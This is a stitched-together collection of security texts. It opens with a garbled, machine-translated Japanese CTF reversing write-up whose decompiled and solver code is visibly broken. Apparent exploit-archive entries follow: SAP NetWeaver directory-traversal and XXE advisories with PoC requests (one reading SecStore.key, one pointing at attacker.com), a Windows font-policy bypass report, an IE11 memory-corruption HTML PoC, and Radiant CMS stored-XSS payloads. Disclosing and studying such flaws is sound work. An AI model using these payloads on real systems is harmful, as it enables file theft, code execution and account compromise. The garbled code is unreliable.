v5=v12;

v6=hidword（v12）;

v7=0;

する

{

V7-=1640531527;

v8=（v72）3;

v5+=（（v7^v3）+（v6^v13 [v8]））^（（（（16*v6）^（v33））+（（v65）^（4*v3）））;

v3+=（（v7^v5）+（v5^v13 [v8^1]））^（（（（16*v5）^（v53））+（（v55）^（4*v5）））;

v6=v3;

-v4;

}

while（v4）;

if（v5==288407067v3==1668576323）

{

V17=0I64;

v18=（unsigned__int8）v10 |（（byte1（v10）|（word1（v10）8））8）;

v19=byte4（v10）|（（byte5（v10）|（hiword（v10）8））8）;

（（void（__ fastcall*）（_ dword*、__ int64））unk_24d61161000）（v16、a1）; //key extension

sub_24d61161150（V16、V14、V20）; //2番目のステップ暗号化

while（byte_24d611631d0 [v2]==v20 [v2]）

{

if（++ v2=32）

RETURNOFF_24D611630F8（AYOUFINDLASTSEC）;

}

}

return0i64;

}最初にクラスティー暗号化を実行します。これらの8つの単語がメソッドに準拠している場合は、暗号化の2番目のステップを実行します。クラスティー暗号化は弦のdotitsitをデコードし、2番目の段落は次のように暗号化されます

_DWORD*__ FASTCALLSUB_24D61161150（_DWORD*a1、__ int128*a2、_byte*a3）

{

//.

if（a2）

{

v13=（char*）a2-（char*）v122;

V14=V122;

する

{

*（_ byte*）v14=*（（_ byte*）v14+v13）;

v14=（__ int128*）（（char*）v14+1）;

-v11;

}

while（v11）;

V127=V122;

}

//keyoperation

（1）

{

//keyoperation

}

//.

if（v127）

{

//ここでブレークポイントを準備し、V76の値を表示します.

v76^=*（unsigned__int8*）v127 |（（*（（（（unsigned __int8*）v127+1）|（*（（unsigned__int16*）v127+1）8）8）;

v77^=*（（unsigned__int8*）v127+4）|（（*（（（（unsigned __int8*）v127+5）|（*（（unsigned__int16*）v127+3）8）8）;

v78^=*（（unsigned__int8*）v127+8）|（（*（（（（（unsigned __int8*）v127+9）|（*（（unsigned__int16*）v127+5）8）8）;

v79^=*（（unsigned__int8*）v127+12）|（（*（（（（（unsigned））v127+13）|（（（unsigned__int16*）v127+7）8）8）;

v80^=*（（unsigned__int8*）v127+16）|（（*（（（（unsigned __int8*）v127+17）|（*（（unsigned__int16*）v127+9）8）8）;

v129^=*（（unsigned__int8*）v127+20）|（（*（（（unsigned__int8*）v127+21）|（*（（unsigned__int16*）v127+11）8）8）;

lodword（v97）=（*（（unsigned__int8*）v127+24）|（（*（（unsigned__int8*）v127+25）|（*（（unsigned__int16*）v127）

+13）8））8））^V97;

hidword（v97）^=*（（unsigned__int8*）v127+28）|（（*（（unsigned__int8*）v127+29）|（*（（unsigned__int16*）v127）

+15）8））8）;

v81^=*（（unsigned__int8*）v127+32）|（（*（（（（unsigned __int8*）v127+33）|（*（（unsigned__int16*）v127+17）8）8）;

v86^=*（（unsigned__int8*）v127+36）|（（*（（（（（unsigned））v127+37）|（*（（unsigned__int16*）v127+19）8）8）;

v87^=*（（unsigned__int8*）v127+44）|（（*（（（unsigned__int8*）v127+45）|（*（（unsigned__int16*）v127+23）8）8）;

v82^=*（（unsigned__int8*）v127+48）|（（*（（（unsigned__int8*）v127+49）|（*（（unsigned__int16）v127+25）8）8）;

v83^=*（（unsigned__int8*）v127+52）|（（*（（（unsigned__int8*）v127+53）|（*（（unsigned__int16*）v127+27）8）8）;

v84^=*（（unsigned__int8*）v127+56）|（（*（（（（unsigned __int8*）v127+57）|（*（（unsigned__int16*）v127+29）8）8）;

v85^=*（（unsigned__int8*）v127+60）|（（*（（（（（（unsigned））__int8*）v127+61）|（*（（unsigned__int16*）v127+31）8）8）;

v75^=*（（unsigned__int8*）v127+40）|（（*（（（（（unsigned __int8*）v127+41）|（*（（unsigned__int16*）v127+21）8）8）;

}

//データコピー

する

{

*v90=v90 [（char*）v122-a3];

++ V90;

-v91;

}

while（v91）;

結果=a1;

A1 [12]=V105;

A1 [13]=V100;

returnResult;

}この関数は複雑に見えますが、実際にはキーで非常に複雑な操作を実行し、入力を使用してXORを実行することです。

exp

＃includestdio.h＃includestdlib.h

＃includeinttypes.h

＃includestring.h

＃include'defs.h '

＃includestdint.h

voiddecrypt（uint32_t*v）

{

UINT32_TV7、V8、V6、V5、V4、V3;

V4=32;

uint32_tv11 []={114,514,19,19};

V7=0x9E3779B9*32;

v5=0x1130be1b;

V3=0x63747443; do

{

v8=（v72）3;

v3 - =（（v7^v5）+（v5^v11 [v8^1]））^（（（16*v5）^（v53）+（（v55）^（4*v5）））;

v6=v3;

v5 - =（（v7^v3）+（v6^v11 [v8]））^（（（（16*v6）^（v33））+（（v65）^（4*v3）））;

-v4;

v7-=0x9e3779b9;

} while（v4）;

V [0]=V5;

V [1]=V3;

}

intmain（）

{

uint32_tk []={114,514,19,19};

uint8_tp []='12345678';

uint32_tc []={288407067,1668576323};

Decrypt（c）;

printf（ '％sn'、c）;

for（size_ti=0; i8; i ++）

{

printf（ '0x％02x、'、*（uint8_t*）c [i]）;

}

printf（ 'n'）;

Charkey []='Expand32-bytek0n3@ayi_m3l0dy_kurom1_w_suk1dqy0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00dotitit';

uint8_tdata []={0xeb、0x8e、0x5c、0xa5,0x62,0xb4,0x1c、0x84,0x5c、0x59,0xfc、0xd、0x43,0x3c、0x Ab、0x20,0xd8,0x93,0x33,0x13,0xa1,0x9e、0x39,0x0,0x76,0x14,0xb55,0x4,0x58,0x9d、0x6,0xb8};

uint8_tres [128]={0};

uint32_tk0=0xc23de28d;

uint32_t*d=（uint32_t*）data;

d [0]^=k0;

d [1]^=0xca2df219;

d [2]^=0x52cf1418;

d [3]^=0x139c5a77;

d [4]^=0x5b04ccaa;

d [5]^=0x680cc192;

d [6]^=0x47f95845;

d [7]^=0xc535d968;

printf（ '％sn'、d）;

}

シェル

問題解決のアイデア

子のプロセスは主に作成され、親子プロセスは廃止されます。子プロセスをダンプするプログラムを見つけます。 https://github.com/glmcdona/process-dump

PD-PIDチャイルドプロセスPID子プロセスPIDをデバッグして、次のようにIDAオープンダンプの後に子プロセスを取得できる

.text:000001fa6c311160pushrsi

.text:000001fa6c311161pushrdi

.text:000001fa6c311162subrsp、28h

.text:000001fa6c311166666666666666666666666666666666

.text:000001fa6c31116dcallsub_1fa6c3112b0

.text:000001fa6c311172learcx、a42s; '％42s'

.text:000001fa6c311179 learsi、nown_string;これは0x40A0です

.text:000001fa6c311180movrdx、rsi

.text:000001fa6c311183callscanf

.text:000001fa6c311188int3; traptodebugger

.text:000001FA6C311189;---------------------------------------------------------------------------

.text:000001fa6c311189movrcx、rsi; str

.text:000001FA6C31118CCALLSTRLEN

.text:000001fa6c31191cmmprax、0c9h

.text:000001fa6c311197jbshortnearptrunk_1fa6c31119e

.text:000001fa6c31199callsub_1fa6c311020

.text:000001FA6C311199;---------------------------------------------------------------------------

.text:000001fa6c31119eunk_1fa6c31119edb0c4h; codexref:main+37↑j

.text:000001fa6c31119fdb12hメインプロセスでのデバッグ機能と組み合わせた

int__fastcallsub_7ff6c56b1560（_dword*a1）

{

//.

if（*a1==0x80000003）

{

V5=QWORD_7FF6C56B5630;

if（qword_7ff6c56b5630）

{

Context.ContextFlags=1048587;

if（！getThreadContext（hthread、context））

{

v6=getLasterRor（）;

printf（ 'getThreadContextFailed:％llxn'、v6）;

}

readprocessmemory（hprocess、（lpcvoid）（qword_7ff6c56b5638+0x40a0）、v13,0x2aui64、numberofbytesRead）;

v7=_mm_load_si128（（const__m128i*）xmmword_7ff6c56b3420

HireHackking 
Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver  AS JAVA 7.1 - 7.5

Vendor URL: http://SAP.com

Bug: Directory traversal

Sent:  29.09.2015

Reported: 29.09.2015

Vendor response: 30.09.2015

Date of Public Advisory: 08.03.2016

Reference: SAP Security Note 2234971

Author:         Vahagn Vardanyan  (ERPScan)




Description


1. ADVISORY INFORMATION

Title: [ERPSCAN-16-012] SAP NetWeaver AS Java directory traversal vulnerability

Advisory ID: [ERPSCAN-16-012]

Risk: medium

Advisory URL: https://erpscan.com/advisories/erpscan-16-012/

Date published: 08.03.2016

Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: directory traversal

Impact: remotely read file from server

Remotely Exploitable: Yes

Locally Exploitable: No

CVE-2016-3976


CVSS Information

CVSS Base Score v3:  7.5  / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)

C : Impact to Confidentiality Low (L)

I : Impact to Integrity None (N)

A : Impact to Availability None (N)



3. VULNERABILITY DESCRIPTION

An authorized attacker can use a special request to read files from
the server and then escalate his or her privileges.




4. VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 - 7.5

Other versions are probably affected too, but they were not checked.


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2234971



6. AUTHOR

Vahagn Vardanyan  (ERPScan)



7. TECHNICAL DESCRIPTION

An attacker can use an SAP NetWeaver function CrashFileDownloadServlet
to read files from the server.


PoC


GET /XXX/CrashFileDownloadServlet?fileName=..\security\data\SecStore.key


Disclaimer: According to the partnership agreement between ERPScan and
SAP, our company is not entitled to publish any detailed information
about detected vulnerabilities before SAP releases a patch. After the
release, SAP suggests respecting an implementation time of three
months and asks security researchers to not to reveal any details
during this time. However, In this case, the vulnerability allows an
attacker to read arbitrary files on a remote server, possibly
disclosing confidential information, and many such services are
exposed to the Internet. As responsible security researchers, ERPScan
team made a decision not to disseminate the full PoC even after the
specified time.



8. REPORT TIMELINE

Send: 29.09.2015

Reported: 29.09.2015

Vendor response: 30.09.2015

Date of Public Advisory: 08.03.2016




9. REFERENCES

https://erpscan.com/advisories/erpscan-16-012/


10. ABOUT ERPScan Research

The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.

ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.

ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.

ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.

We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.



11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.

We ‘follow the sun’ and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.
HireHackking 
Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver  AS JAVA 7.1 - 7.5

Vendor URL: http://SAP.com

Bug: XXE

Sent:  20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

Reference: SAP Security Note 2235994

Author:  Vahagn Vardanyan  (ERPScan)



Description


1. ADVISORY INFORMATION

Title: [ERPSCAN-16-013] SAP NetWeaver  AS  Java ctcprotocol servlet –
XXE vulnerability

Advisory ID: [ERPSCAN-16-013]

Risk: Medium

Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/

Date published: 08.03.2016

Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: XXE

Impact: denial of service

Remotely Exploitable: Yes

Locally Exploitable: No

CVE-2016-3974


CVSS Information

CVSS Base Score v3:  6.4  / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) High (H)

PR : Privileges Required (Level of privileges needed to exploit) High (H)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality High (H)

I : Impact to Integrity High (H)

A : Impact to Availability High (H)



3. VULNERABILITY DESCRIPTION

Authorized attacker can use a special request to read files from the
server and then escalate his or her privileges.



4. VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 - 7.5

Other versions are probably affected too, but they were not checked.


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2235994



6. AUTHOR

Vahagn Vardanyan  (ERPScan)


7. TECHNICAL DESCRIPTION


An XML external entity (XXE) vulnerability in the Configuration Wizard
in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial
of service, conduct SMB Relay attacks, or access arbitrary files via a
crafted XML request related to the ctcprotocol servlet.

PoC


POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1
Content-Type: text/xml

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body>
 <m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/">
  <url>attacker.com</url>
 </m:XXX>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>




8. REPORT TIMELINE

Sent:  20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016




9. REFERENCES

https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/


10. ABOUT ERPScan Research

The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.

ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.

ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.

ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.

We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.



11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.

We ‘follow the sun’ and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=779

Windows: Custom Font Disable Policy Bypass
Platform: Windows 10 Only
Class: Security Feature Bypass

Summary:
It’s possible to bypass the ProcessFontDisablePolicy check in win32k to load a custom font from an arbitrary file on disk even in a sandbox. This might be used as part of a chain to elevate privileges. If anything this is really a useful demonstration that you probably really want to shutdown the object manager directory shadowing as part of the sandbox mitigations, even if you don’t fix the explicit bypass.

Description:

The Process Mitigation policy ProcessFontDisablePolicy disables loading fonts from memory or by a path other than in the system fonts directory. This is probably mostly redundant with the introduction of the User Mode Font Driver, although there’s some interesting additional attack surface if you could compromise that process (it is running with a locked down DACL to prevent people attacking it, presumably). Also while UMFD runs in an AppContainer it might be less restrictive than other sandboxes providing a limited sandbox escape (again to just open up additional attack surface).

The issue is due to a race condition in the check which looks similar to the following:

int WIN32K::bLoadFont(...) {
  int load_option = GetCurrentProcessFontLoadingOption();
  bool system_font = true;
  if (load_option) {
    HANDLE hFile = hGetHandleFromFilePath(FontPath); <- First open of path
    BOOL system_font = bIsFileInSystemFontsDir(hFile); <- Should return True
    ZwClose(hFile);
    if (!system_font) {
      LogFontLoadAttempt(FontPath);
      if (load_option == 2)
        return 0;
    }
  }
  // Switch out path here
  HANDLE hFont = hGetHandleFromFilePath(FontPath); <- Will open our custom font
  // Map font as section
}

There’s a clear race between opening the font and checking its location and then re-opening it again to map the file as a section for processing. If you could make the first check open a file in the system font directory then it’d pass the check. If you then switch out the font for your custom one it’ll load that instead. Previously I’d do this using symbolic links, such as mount points or object manager links but that’s pretty much no longer available in sandboxes anymore. So instead I’ve abused object manager directory shadows again. You can construct a native NT path in such a way that it will first open a system font file, then using a oplock to win the race we can switch the directory object to point to our custom font on disk.

Note: I effectively presented this at the Troopers conference and even said how I did it so this is sort of been publicly disclosed. But that was using object manager symbolic links, and due to the way the font files are loaded this wasn’t usable in a sandbox due to it opening the files at kernel privilege. I pointed out to the attendees that I didn’t think it was easy to exploit in a sandbox so it wasn’t a problem. I’ve spoke to Gavin Thomas about this, he wanted the PoC sending even if unexploitable. As this seems to be more of a problem thought I’d send into secure@.

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low.

1) Extract the PoC to a location on a local hard disk which is writable by a low IL user. This is necessary as the PoC needs to copy a font file to the applications directory. You also need a copy the pacifioc.ttf font file into the same directory.
2) Execute the poc executable file as low integrity.

Expected Result:
It shouldn’t be possible to load a custom font from disk if it’s outside of the system font location.

Observed Result:
The font is loaded and can be used with GDI.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39993.zip
HireHackking 
<!--
CVE-2016-0199 / MS16-063: MSIE 11 garbage collector attribute type confusion
============================================================================
This information is available in an easier to read format on my blog at
http://blog.skylined.nl/

With [MS16-063] Microsoft has patched [CVE-2016-0199]: a memory
corruption bug
in the garbage collector of the JavaScript engine used in Internet
Explorer 11.
By exploiting this vulnerability, a website can causes this garbage
collector
to handle some data in memory as if it was an object, when in fact it
contains
data for another type of value, such as a string or number. The garbage
collector code will use this data as a virtual function table (vftable)
in order
to make a virtual function call. An attacker has enough control over
this data
to allow execution of arbitrary code.

Known affected software and attack vectors
------------------------------------------
+ **Microsoft Internet Explorer 11** (all versions before the June 2016
patch)

  An attacker would need to get a target user to open a specially crafted
  webpage. Disabling JavaScript should prevent an attacker from
triggering the
  vulnerable code path.

Repro
-----
I've created two separate html files that can be used to reproduce this
issue
and shows control over a 32-bit vftable pointer in x86 versions of MSIE or a
partial control over a 64-bit vftable pointer in x64 versions.
-->

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
  oElement = document.createElement("IMG");
  var oAttr = document.createAttribute("loop");
  oAttr.nodeValue = oElement;
  oElement.loop = 0x41424344; // Set original value data to 44 43 42 41
  oElement.setAttributeNode(oAttr); // Replace oElement with original value data
  oElement.removeAttributeNode(oAttr);
  CollectGarbage(); // Use original value data as address 0x41424344 of a vftable
</script>

<!--
(I've had to use xcript rather than script because Gmail refused to send it
otherwise, see https://support.google.com/mail/answer/6590 for the reason.)

Description
-----------
When `setAttributeNode` is used to set an attribute of a HTML element,
and the
`Attr` node's `nodeValue` is not a valid value, this `nodeValue` is set
to the
value the attribute had before the call. This can happen for instance
when you
try to set an attribute that must have a string or number value by using an
`Attr` node with a HTML element as its `nodeValue` (as this is not a
string or
number). The HTML element in `nodeValue` is replaced with the string or
number
value the attribute had before the call to `setAttributeNode`.

If the `Attr` node is then removed using `removeAttributeNode` and the
garbage
collector runs, the code appears to assume the nodeValue still contains an
object, rather than the string or number it has been changed into. This
causes
the code to use the data for the string or number value as if it was a C++
object. It attempts to determine a function pointer for a method from the
object's virtual function table before calling this function using the
pointer.

If the previous value is a string, the character data from the string is
used
to calculate the function pointer. If the previous value is a number,
the value
of the number is used. This provides an attacker with a large amount of
control
over the function pointer and may allow execution of arbitrary code.

Scanner
-------
I build a "scanner" to analyze this issue and help create two
proof-of-concept
files that show control over the vftable pointer. More details and the
source
for these can be found on my blog at http://blog.skylined.nl.
-->
HireHackking 
# Exploit Title: Radiant CMS 1.1.3  - Mutiple Persistant XSS Vulnerabilities
# Exploit Author: David Silveiro 
# Exploit Author Github: github.com/davidsilveiro
# Exploit Author Twitter: twitter.com/david_silveiro 
# Vendor Homepage: http://radiantcms.org/
# Software Link: http://radiantcms.org/download/
# Date: Zero day

Radiant is a no-fluff, open source content management system designed for small teams. It is similar to Textpattern or MovableType, but is a general purpose content management system (not just a blogging engine) written in Ruby.

Stored XSS 1 – File Title Upload

The attacker must first be a user of sorts, as there's only 2 types of roles 'administrator' & 'designer' we're going with the assumption of the latter. Now as the designer we have the option to upload 'assets' such as files or images, here lyes one of the issues.

When uploading, we're presented with the option to create a title for an image, which gets displayed back in the general repository where a user logged  in as admin would also be able to see it. We're able to input our own javascript within this field, thus when a you then visit the 'assets' page, you will be presented with a pop up.

Enter the example below.

POC:

Title: </script>alert('XSS')</script>


Stored XSS 2 – User Personal Preferences

This time round were faced with a lot more avenues to have our JS displayed back to us. Again, we're going with the assumption that we're logged in as a designer user.

Let us navigate to the 'Settings page', where you'll see  2 options to edit Personal Preferences & Configuration, click on Edit Prefrences.

POC:

Name: <script>alert('XSS 1')</script>
Email Address: <script>alert('XSS2')</script>@gmail.com
Username: <script>alert('XSS3')</script>

This will not only reflect back to you, as the designer, but also the back to the admin when he/she goes onto the http://127.0.0.1/admin/users/ and is presented with our users malicious 'NAME' parameter.